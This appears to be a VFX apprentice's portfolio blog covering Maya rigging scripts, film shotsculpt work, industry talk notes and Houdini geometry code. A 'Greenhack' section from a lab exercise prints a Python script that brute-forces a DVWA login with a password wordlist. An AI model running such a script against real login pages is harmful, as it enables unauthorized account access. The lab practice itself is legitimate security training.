Ribbon Rig

I wanted to really learn more about the different deformers in Maya and so I tasked myself to create a ribbon rig which took about 3 days to complete. I had prior knowledge from the more bespoke rigging tasks that I was able to do.

I used a NURBs planar surface as the base geometry for the deformation. I needed to add evenly spaced joints so I opted to use the nHair system to generate follicles that would be placed on the surface. And then I needed to rename each follicle with a transform group, control and joint parented to one another. And in order to make the process less repetitive I wrote a script:


from maya import cmds

# store the selected objects into a variable
selection=cmds.ls(selection=True)

# Loop through each selected item
for x in range(0, len(selection)):
    # rename the curent item in thelist
    selection[x] = cmds.rename(selection[x], ('ribbon_follicle_' + str(x+1)))
    # create controller for the current follicle
    ctrl = cmds.circle(c=(0,0,0), nr=(1,0,0), r=0.5, ch=0, name=('ribbon_ctrl_' + str(x+1)))[0]
    # create joint for current follicle
    jnt = cmds.joint(radius=0.15, name=('ribbon_joint_' + str(x+1)))
    # group the controller
    grp = cmds.group(ctrl, name=(ctrl + '_xform_grp'))
    # set colour of the controller
    cmds.setAttr((cmds.listRelatives(ctrl, type='shape')[0] + '.overrideEnabled'), 1)
    cmds.setAttr((cmds.listRelatives(ctrl, type='shape')[0] + '.overrideColor'), 1)
    # parent the controller under the current follicle
    cmds.parent(grp, selection[x])
    # position the controller at the follicle's position
    cmds.setAttr((grp + '.translate'), 0,0,0)

Afterwards I created locator controls for the start, middle and end controls. I then added attributes that will drive the twist, sine deformations. For the twist deformer I had to use the plusminusaverage node to drive the twist and roll deformations. Using both connection editor and node editor to create connections to drive the process through.

I connected the locator controls using the wire deformer to drive and manipulate the curve. I had a double transform issues with the middle control and which was affected by the start and end controls that needed to be decreased to average out the influences.

I then was able to blend the different geometry deformers using blendshapes which behaved differently than I had anticipated. I had to check the inputs and change the hierarchy so that the wire deformer is driving the blendshapes which solved the problem. I added the final blendshape onto the original mesh which was able to behave accordingly.

Unreleased Work

There are other projects that I have also been involved in were rigging related tasks. These projects are currently not available to the public due to the delayed release dates that’s been pushed back from the recent pandemic.

The tasks were mainly character digi-double body and costume rigging as well as mechanical and prop rigs. I was also assisting the supervisors and leads from different shows to make QC renders and checks. Due to the nature the work I can’t fully disclose the specific task involvements I’ve been a part of as well as add them onto my blog and showreel.

Hobbs & Shaw

DNEG VFX Breakdown of Hobbs & Shaw

I was tasked again with another shotsculpt task for the latest installment of the Fast & Furious franchise film, Hobbs & Shaw. This task in particular set up work for the FX team with which the cached digi-double mesh is being deformed by the slow motion punch sequence. I had to ensure that the digi-double matches with the silhouette of the hero characters on the 2D plate while maintaining the volume of the 3D mesh. This is to help simulate the water colliding the the characters.

I was assigned two shotsculpt tasks from the same sequence which was both done within a span of 4 working days. At the beginning I was very perfectionist and particular with how the little details. My lead addressed to me to really focus on maintaining the volume rather sculpting in the costume creases which actually guided me back on track to finish my task on time.

Bespoke Rigging: Set Driven Keys & Remap Value Node

There will be instances when rigging bespoke behaviours or to ensure that animators will not would require using set driven keys.

Set driven keys are setting specific attributes at a specific instances. The example from the code below is showcasing that when the sphere’s rotate Z value is 45, set the translate Y value of the cube as 5.

from maya import cmds

def mech():
    cmds.setAttr("pSphere1.rotateZ", 0)
    cmds.setAttr("pCube1.translateY", 0)
    cmds.setDrivenKeyframe("pCube1.translateY", currentDriver="pSphere1.rotateZ")

    cmds.setAttr("pSphere1.rotateZ", 45)
    cmds.setAttr("pCube1.translateY", 5)
    cmds.setDrivenKeyframe("pCube1.translateY", currentDriver="pSphere1.rotateZ")

    cmds.setAttr("pSphere1.rotateZ", 0)

Greenhack

Using a Virtual Box we worked on exploiting vulnerable environments and creating a vulnerability scanner using a NAT (Network Address Transfer) network, Kali, to alter and change the IP address using the bash command ‘ifconfig’ on a terminal.

Metasploitable, a Host only network Linux Ubuntu virtual environment, was used to perform hacking. This enabled the group to practice python and shell scripting in practice to get a better understanding of how to bypass the systems. Changing the IP Address by using the ‘ifcongig’ shell command to get the

Below is the python code we used to look up the passwords listed from the root downloads folder and targeted to the url with the IP address used using the DVWA vulnerable environment.

#!/usr/bin/env python

import requests

target_url = "http://192.168.56.101/dvwa/login.php"
data_dict = {"username": "admin", "password": "", "Login": "submit"}

with open("/root/Downloads/passwords.txt", "r") as wordlist_file:
    for line in wordlist_file:
        word = line.strip()
        data_dict["password"] = word
        response = requests.post(target_url, data=data_dict)
        if "Login Failed" not in response.content:
            print("[+] Got the password --> " + word)
            exit()

print("[+] Reached end of line.")

VFX of The Lion King

I was able to attend the London ACM Siggraph presentation that Elliot Newman (VFX Supervisor) from MPC did on the ‘VFX of The Lion King.’ Elliot was able to provide insights of the scope of the production from Virtual Production all towards Editorial.

Most of the developments stemmed from the advancements made throughout the production of Jungle Book which redefined the worlds created in the realm of visual effects. The challenges for this production definitely to push the boundaries that have been set from the get-go to get the

Virtual Production

Building up a computer-generated (CG) world full of characters and environment that interact with each other requires being able to frame and visualise the way the virtual camera is positioned in 3D space. Using the virtual reality (VR) technologies that MPC and Magnopus to allow the directors and cinematographers to get a glimpse of the shots will look like in a “virtual stage” loaded with previs level environment and character assets that were built in Maya and building the scene setup in Unity game engine. This setup was used for set/location scouting in 3D space as a building block that replicated how the physical camera moves and be able to alter set objects.

Kenya Research Trip & Technical Shoot

A lot of research and data acquisition that enabled the photo realistic documentary design style. The data collated involved photogrammetry, trees, foliage, plants, rocks, terrains, skies, HDRIs and lighting.

Another shoot that uses multi cameras to capture the performance of the animal movement that can be used as a reference for animation, skin sliding and other deformations.

Lighting

The usual HDRI workflow revolved around capturing different High Dynamic Range Imaging Image Based Lighting

Production Pipeline Masterclass

We had a chance to really get a better insight of the production pipeline with Alan Woods (CG Supervisor in Framestore). It was a great opportunity to discuss the process from bidding all the way to the final delivery with which I had very little knowledge of. Breaking it down allowed me to fill in the gaps and reach a better understanding of how the data flows within the pipeline.


PRE-PRODUCTION

A task that ATDs are tasked to do at the beginning of a project is to copy and deploy the setup from older shows. An artist audit is also made at this time while doing software regression tests (to make sure that tools function still properly) and publishing default templates.

BIDDING

Each studios would be given an opportunity to present tailored bid packages. Show clients offer to break shots apart from easy to hard shots as well as negotiate costing in relation with the number of hours in production schedule that are being agreed upon. In order to be awarded work (most of the time sequences of shots) artists within the bid team need to convince the client with how they interpret the client’s vision and solve challenges to bring the shot to life.

INGEST DATA

Material such as shot plates, lens grids, HDRIs, Medusa scans, mocap data, and other digital assets that enter the facility are ideally logged into a database (like Shotgun) and are made available to artists and administration. Useful information such as the film back of the camera, frame rates enable artist to no longer make guess work when recreating virtual cameras, characters and environments. Lower resolution QuickTime scans are used by the artists for tracking and are worked on top of without slowing down the processing power of the computer.

TURNOVER

VFX work are officially handed off from the film’s editorial team to the facility to begin to work on. Ensuring that it is accurate to the bid and departments go through and call out the whole scope of the sequence.

DAILIES (REVIEWING WORK)

This happens when work has been submitted to dailies which is an opportunity to sit with the team to discuss and improve upon work. Dailies can either vary from departmental or show. Work that gets produced by an artist are rendered out as play blasts and QC (quality control) renders. These will highlight the create action points that needs to figure out what need focus. Making sure that a standard is met and adhere to the notes given by supervisors or leads to the artist that will need to be addressed for the next dailies session up until work is approved and good to go.

CLIENT REVIEWS

Real-time playback video conference sessions using Cinesync enable clients to review shots and send their notes over to the facility.

Anatomy Studies

Being in DNEG there are a plethora of resources that you get to explore and dive right into. At the start of my apprenticeship I took the opportunity to expand my knowledge learning about human anatomy.

This is mainly because most of the character work, for digital-double works (replicating and introducing CG characters onto the film sequence) or any type of character development work, revolves around building the anatomical features such as skeleton and muscles to directly impact the character’s mesh to create a more “life-like” deformation when animating extreme range of motions.

Although it would seem like having to replicate the exact same anatomical features would be the desired workflow, it can become really cumbersome to replicate every single joints, bone structures and muscle structures as the character model will end up becoming extremely heavy to try to replicate.

Functional Anatomy

There are so many things to consider when incorporating or dealing with anatomical features especially in the more complex creature work that is currently taking place in DNEG. A presentation on ‘Functional Anatomy’ helped enable creature artists to become even more mindful on the function and influences of prominent bodily features.

Joint Placements

It is very important to consider and take a substantial amount of time to make sure that the joints are placed correctly. This is vital to be able to place the joints correctly in the first place to ensure that the rig is stable and will deform correctly. Once you animate using the version of the rig that was passed down to the animator, and the rig updates it will end up changing the animation and will behave differently.

Skinning Guides

I briefly looked at the the skinning guides for different sections of the body mainly around the upper body and the arms and legs. Evaluating and improving ways to deform and preserve the volume of the mesh.

Body Types

Another extra bit of information around body types were looked into. To get a better understanding of the frame and muscular build of the three main body types:

Men In Black: International

DNEG VFX Breakdown of Men In Black: International.

It’s still so surreal to me that the first VFX project that I got to work on a big film franchise. It was the first time I got to interact and work with the Creature team in DNEG. I was still new and confused with so much that went on during the production which is inevitable during the beginning stages. But as I’ve progressed along the weeks, I started to gain more clarity and understanding of the shot workflow.

My role for this project centred around ‘Shotsculpt’. Shot sculpt involves working on top of the animated and even simulated character(s) that will need to be cleaned up. The clean up would entail fixing intersections on the costume and the body of the character. As well as creating creases and building up the silhouette features to create the desired look.

Before and after: From motion capture data to fully rendered animated character

My first task involved working on fixing the costume of the character ‘Vungus the Ugly.’ The character has been modelled, rigged, animated and even simulated and gets passed downstream on to the pipeline ready to be shotsculpted. This process takes in an alembic cache of the character with all the animation and costume data, in which will require to work on top of the shotsculpt rig. This entails adding key frames on the transforms and deformations within the shotsculpt rig to get the desired outcome of the sculpt.

The task was initially given for me to do within 5 bid days. And so I had a multiple mentors that offered to help me throughout the time I had to work on the shot. My mentors all helped me get familiar with setting up the shot, the techniques and introduced me to bespoke tools that enabled to help speed up the process. I’ve also learnt a lot about the application of different deformers such as lattice and delta mush. The training that you really gain from actually doing the work is invaluable because you understand and there’s a way for you to really look back and apply the knowledge that you’ve gained as a result.

I ended up getting my first shot approved after 14 days! I was quite annoyed at myself at first but I had to remember that this was my first task. You will make mistakes and learn important lessons at the very beginning. But it will be worth the struggle because you would’ve gained more insights and resilience. That it’s okay to ask for help because people are willing to help you.

I was also tasked another shot from another sequence which involved correcting costume intersections from 6 crowd agents. In this task I was given 2 bid days and I was able to finish the shot in under one day. This just goes to show how it gets better and easier the more that you practice and perfect the craft.

Generating geometry procedurally

I followed through a tutorial on how to Create Geometry From Scratch to get a comparison of how to procedurally model geometry using two different scripting languages: VEX and Python.

Using Houdini, I can opt to use both the Attribute Wrangle (for VEX Expressions) and the Python node to perform the necessary actions to create geometry using code.

VEX

// create basic geometry

// grab index of it's own geometry
int geo = geoself();
// add 5 points to geometry
int p0 = addpoint(geo,{0,0,0});
int p1 = addpoint(geo,{.5,.5,.5});
int p2 = addpoint(geo,{.5,-.5,-.5});
int p3 = addpoint(geo,{-.5,.5,-.5});
int p4 = addpoint(geo,{-.5,-.5,.5});

// define function to create triangles
int addtriangle(const int g,p,q,r){
 // create a polygon index
 int f = addprim(g,"poly");
 // and add vertices to the polygon
 addvertex(g,f,p);
 addvertex(g,f,q);
 addvertex(g,f,r);
 return f;
}

// add the 6 triangles
addtriangle(geo,p0,p1,p2);
addtriangle(geo,p0,p1,p3);
addtriangle(geo,p0,p1,p4);
addtriangle(geo,p0,p2,p3);
addtriangle(geo,p0,p2,p4);
addtriangle(geo,p0,p3,p4);

PYTHON

# all python code runs only once

# create basic geometry

# grab self geometry index
node = hou.pwd()
geo = node.geometry()

# create four points and remember their names
p0 = geo.createPoint()
p1 = geo.createPoint()
p2 = geo.createPoint()
p3 = geo.createPoint()
p4 = geo.createPoint()
# edit position values
p0.setPosition((0,0,0))
p1.setPosition((.5,.5,.5))
p2.setPosition((.5,-.5,-.5))
p3.setPosition((-.5,.5,-.5))
p4.setPosition((-.5,-.5,.5))

# define a function to create triangles
def addTriangle(p,q,r):
  # create polygon of 3 corners
  f = geo.createPolygon()
  f.addVertex(p)
  f.addVertex(q)
  f.addVertex(r)
    
#create triangles between the points
addTriangle(p0,p1,p2)
addTriangle(p0,p1,p3)
addTriangle(p0,p1,p4)
addTriangle(p0,p2,p3)
addTriangle(p0,p2,p4)
addTriangle(p0,p3,p4)

Both instances, when running the code, create the same exact geometry with the same values applied. The syntax is definitely different based on the language used. The lines of code used to create the vex code is relatively shorter than the python code version. And this is expected since VEX is the native language used in Houdini, which means that the functions necessary to run a command is simplified. When adding points for the geometry creation, in VEX you can create the points with the position values in one line whereas in Python you’ll need to create the points first and then set the position values afterwards.